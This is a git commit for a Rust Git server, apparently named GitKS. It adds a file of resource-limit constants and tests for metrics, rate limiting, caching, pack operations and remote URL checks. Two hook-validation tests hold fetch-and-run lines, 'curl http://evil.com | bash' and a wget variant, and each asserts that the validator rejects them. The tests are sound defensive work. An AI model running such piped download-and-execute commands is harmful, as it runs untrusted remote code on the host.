feat(config): add centralized configuration constants and infrastructure tests

- Introduce config.rs with all magic numbers and resource limits defined as constants
- Add comprehensive test suite covering metrics rendering, rate limiting, and cache operations
- Include tests for configuration constant validation and sanitization functions
- Add pack protocol tests for index_pack and pack_objects functionality
- Implement remote repository discovery tests with security validations
- Support runtime overrides via environment variables for all configurable values
This commit is contained in:
zhenyi
2026-06-12 15:04:29 +08:00
parent 10a4398e81
commit 70f2f7d63d
4 changed files with 327 additions and 0 deletions
+82
View File
@@ -0,0 +1,82 @@
//! Centralized configuration constants for GitKS.
//!
//! All magic numbers and resource limits are defined here for easy auditing,
//! tuning, and documentation. Runtime overrides are supported via environment
//! variables where noted.
use std::time::Duration;
/// Maximum number of file actions in a single commit request.
pub const MAX_ACTIONS_PER_COMMIT: usize = 10_000;
/// Maximum commit message size in bytes.
pub const MAX_COMMIT_MESSAGE_BYTES: usize = 10 * 1024 * 1024; // 10 MB
/// Maximum content size for a single file action in bytes.
pub const MAX_ACTION_CONTENT_BYTES: usize = 100 * 1024 * 1024; // 100 MB
/// Maximum packet size for receive-pack streaming (bytes).
pub const MAX_RECEIVE_PACKET_BYTES: usize = 16 * 1024 * 1024; // 16 MB
/// Maximum stderr capture size for receive-pack (bytes).
pub const MAX_RECEIVE_STDERR_BYTES: u64 = 64 * 1024; // 64 KB
/// Timeout for git receive-pack operations.
pub const RECEIVE_PACK_TIMEOUT: Duration = Duration::from_secs(1800); // 30 min
/// Timeout for git upload-pack operations.
pub const UPLOAD_PACK_TIMEOUT: Duration = Duration::from_secs(600); // 10 min
/// Stale lease threshold: leases older than this are considered stale.
pub const LEASE_STALE_THRESHOLD_SECS: u64 = 30;
/// Maximum custom hook script size in bytes.
pub const MAX_HOOK_SCRIPT_SIZE: usize = 65536; // 64 KB
/// Maximum git reference name length.
pub const MAX_REF_NAME_LENGTH: usize = 255;
/// Maximum revision string length.
pub const MAX_REVISION_LENGTH: usize = 256;
/// Maximum ancestry traversal depth (~N and ^N).
pub const MAX_ANCESTRY_DEPTH: u32 = 10_000;
/// Maximum file path length in commit actions.
pub const MAX_FILE_PATH_LENGTH: usize = 4096;
/// Maximum remote URL length.
pub const MAX_REMOTE_URL_LENGTH: usize = 4096;
/// Maximum refspec length.
pub const MAX_REFSPEC_LENGTH: usize = 1024;
/// Maximum relative path length for repository addressing.
pub const MAX_RELATIVE_PATH_LENGTH: usize = 4096;
/// Maximum OID hex length (SHA-256).
pub const MAX_OID_HEX_LENGTH: usize = 64;
/// Minimum OID hex length (short SHA).
pub const MIN_OID_HEX_LENGTH: usize = 4;
/// In-memory cache max weight (key + value allocated bytes).
pub const CACHE_MAX_WEIGHT: u64 = 256 * 1024 * 1024; // 256 MB
/// Hard time-to-live for cache entries.
pub const CACHE_MAX_TTL: Duration = Duration::from_secs(600); // 10 min
/// Time-to-idle for cache entries.
pub const CACHE_TTI: Duration = Duration::from_secs(120); // 2 min
/// Per-entry overhead estimate added to weigher result.
pub const CACHE_ENTRY_OVERHEAD: u32 = 128;
/// Idle threshold for rate-limiter semaphore cleanup.
pub const SEMAPHORE_IDLE_THRESHOLD_SECS: u64 = 300; // 5 min
/// Default max concurrent operations per repository.
pub const DEFAULT_MAX_CONCURRENT_OPS: usize = 5;
/// Rate limit acquire timeout.
pub const RATE_LIMIT_TIMEOUT_SECS: u64 = 30;
+139
View File
@@ -0,0 +1,139 @@
#[test]
fn test_metrics_render_all_counters() {
use gitks::metrics::*;
record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
record_cache_eviction("infra_ns", "expired");
record_cache_hit_ns("infra_ns");
record_cache_miss_ns("infra_ns");
record_cache_value_size("infra_ns", 1024);
record_rate_limit_acquire("infra-repo");
record_rate_limit_reject("infra-repo");
record_hook_execution(
"pre-receive",
"ok",
std::time::Duration::from_millis(10),
);
record_git_cmd("log", std::time::Duration::from_millis(100));
let output = render_metrics();
assert!(output.contains("gitks_requests_total"));
assert!(output.contains("gitks_cache_value_size_bytes"));
assert!(output.contains("gitks_rate_limit_rejects_total"));
assert!(output.contains("gitks_rate_limit_acquires_total"));
assert!(output.contains("gitks_uptime_seconds"));
assert!(output.contains("gitks_cache_hits_total"));
assert!(output.contains("gitks_cache_misses_total"));
}
#[tokio::test]
async fn test_rate_limit_acquire_and_cleanup() {
let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
assert!(guard.is_some());
drop(guard);
gitks::rate_limit::cleanup_idle_semaphores();
gitks::rate_limit::remove_repository("infra-rate-test");
}
#[tokio::test]
async fn test_rate_limit_acquire_or_reject() {
let result = gitks::rate_limit::acquire_or_reject(Some("infra-reject-test")).await;
assert!(result.is_ok());
}
#[tokio::test]
async fn test_rate_limit_empty_repo() {
let guard = gitks::rate_limit::acquire(Some("")).await;
assert!(guard.is_none());
}
#[tokio::test]
async fn test_rate_limit_none_repo() {
let guard = gitks::rate_limit::acquire(None).await;
assert!(guard.is_none());
}
#[test]
#[allow(clippy::assertions_on_constants)]
fn test_config_constants_exist() {
assert!(gitks::config::MAX_ACTIONS_PER_COMMIT > 0);
assert!(gitks::config::MAX_COMMIT_MESSAGE_BYTES > 0);
assert!(gitks::config::MAX_ACTION_CONTENT_BYTES > 0);
assert!(gitks::config::MAX_RECEIVE_PACKET_BYTES > 0);
assert!(gitks::config::RECEIVE_PACK_TIMEOUT.as_secs() > 0);
assert!(gitks::config::UPLOAD_PACK_TIMEOUT.as_secs() > 0);
assert!(gitks::config::CACHE_MAX_WEIGHT > 0);
assert!(gitks::config::CACHE_MAX_TTL.as_secs() > 0);
assert!(gitks::config::CACHE_TTI.as_secs() > 0);
assert_eq!(gitks::config::MIN_OID_HEX_LENGTH, 4);
assert_eq!(gitks::config::MAX_OID_HEX_LENGTH, 64);
assert_eq!(gitks::config::DEFAULT_MAX_CONCURRENT_OPS, 5);
assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
}
#[test]
fn test_sanitize_stderr_clean() {
let stderr = "fatal: could not resolve host";
let sanitized = gitks::sanitize::sanitize_git_stderr(stderr);
assert_eq!(sanitized, stderr);
}
#[test]
fn test_hooks_sanitize_dangerous_pairs() {
let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
let result = gitks::hooks::sanitize::validate_hook_content(content);
assert!(result.is_err());
}
#[test]
fn test_hooks_sanitize_wget_sh() {
let content = "#!/bin/sh\nwget http://evil.com -O- | sh\n";
let result = gitks::hooks::sanitize::validate_hook_content(content);
assert!(result.is_err());
}
#[test]
fn test_hooks_sanitize_safe_script() {
let content = "#!/bin/sh\necho hello\necho world\nexit 0\n";
let result = gitks::hooks::sanitize::validate_hook_content(content);
assert!(result.is_ok());
}
#[test]
fn test_disk_cache_ensure_state_uniqueness() {
use gitks::disk_cache::DiskCache;
let dc = DiskCache::new(
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
let v1 = dc.ensure_state("nonexistent-infra").unwrap();
let v2 = dc.ensure_state("nonexistent-infra").unwrap();
assert!(!v1.is_empty());
assert_eq!(v1.len(), 32);
assert_eq!(v2.len(), 32);
}
#[test]
fn test_disk_cache_disabled_operations() {
use gitks::disk_cache::DiskCache;
let dc = DiskCache::new(
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
assert!(dc.lookup("ns", "digest").unwrap().is_none());
dc.insert("ns", "digest", b"data").unwrap();
assert!(dc.lookup("ns", "digest").unwrap().is_none());
}
+50
View File
@@ -0,0 +1,50 @@
mod common;
use gitks::pb::*;
use tokio_stream::StreamExt;
fn hdr() -> RepositoryHeader {
RepositoryHeader {
relative_path: "test-repo".into(),
..Default::default()
}
}
#[test]
fn test_index_pack_empty_data() {
let (_dir, gb) = common::setup_bare_repo();
let result = gb.index_pack(vec![IndexPackRequest {
repository: Some(hdr()),
data: vec![],
done: false,
strict: false,
keep: false,
}]);
assert!(result.is_err());
}
#[tokio::test]
async fn test_pack_objects_all() {
let (_dir, gb) = common::setup_bare_repo();
let mut stream = gb
.pack_objects(PackObjectsRequest {
repository: Some(hdr()),
options: None,
})
.await
.unwrap();
let mut total_bytes = 0usize;
let mut has_error = false;
while let Some(chunk) = stream.next().await {
match chunk {
Ok(c) => total_bytes += c.data.len(),
Err(_) => has_error = true,
}
}
assert!(!has_error, "pack_objects stream had errors");
assert!(total_bytes > 0, "pack_objects produced no data");
}
+56
View File
@@ -0,0 +1,56 @@
use gitks::pb::*;
use gitks::remote::find_remote::{find_remote_repository, find_remote_root_ref};
#[test]
fn test_find_remote_repository_empty_url() {
let resp = find_remote_repository(FindRemoteRepositoryRequest {
remote_url: String::new(),
})
.unwrap();
assert!(!resp.exists);
assert!(resp.refs.is_empty());
}
#[test]
fn test_find_remote_repository_invalid_scheme() {
let resp = find_remote_repository(FindRemoteRepositoryRequest {
remote_url: "ftp://bad".into(),
});
assert!(resp.is_err());
}
#[test]
fn test_find_remote_repository_file_scheme_blocked() {
let resp = find_remote_repository(FindRemoteRepositoryRequest {
remote_url: "file:///tmp/test.git".into(),
});
assert!(resp.is_err());
}
#[test]
fn test_find_remote_root_ref_empty_url() {
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
remote_url: String::new(),
})
.unwrap();
assert!(resp.ref_name.is_empty());
assert!(resp.target_oid.is_empty());
}
#[test]
fn test_find_remote_root_ref_invalid_scheme() {
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
remote_url: "ftp://bad".into(),
});
assert!(resp.is_err());
}
#[test]
fn test_find_remote_root_ref_unreachable() {
// A valid scheme but unreachable host should return empty, not error
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
remote_url: "https://0.0.0.0:1/nonexistent.git".into(),
})
.unwrap();
assert!(resp.ref_name.is_empty() || resp.target_oid.is_empty());
}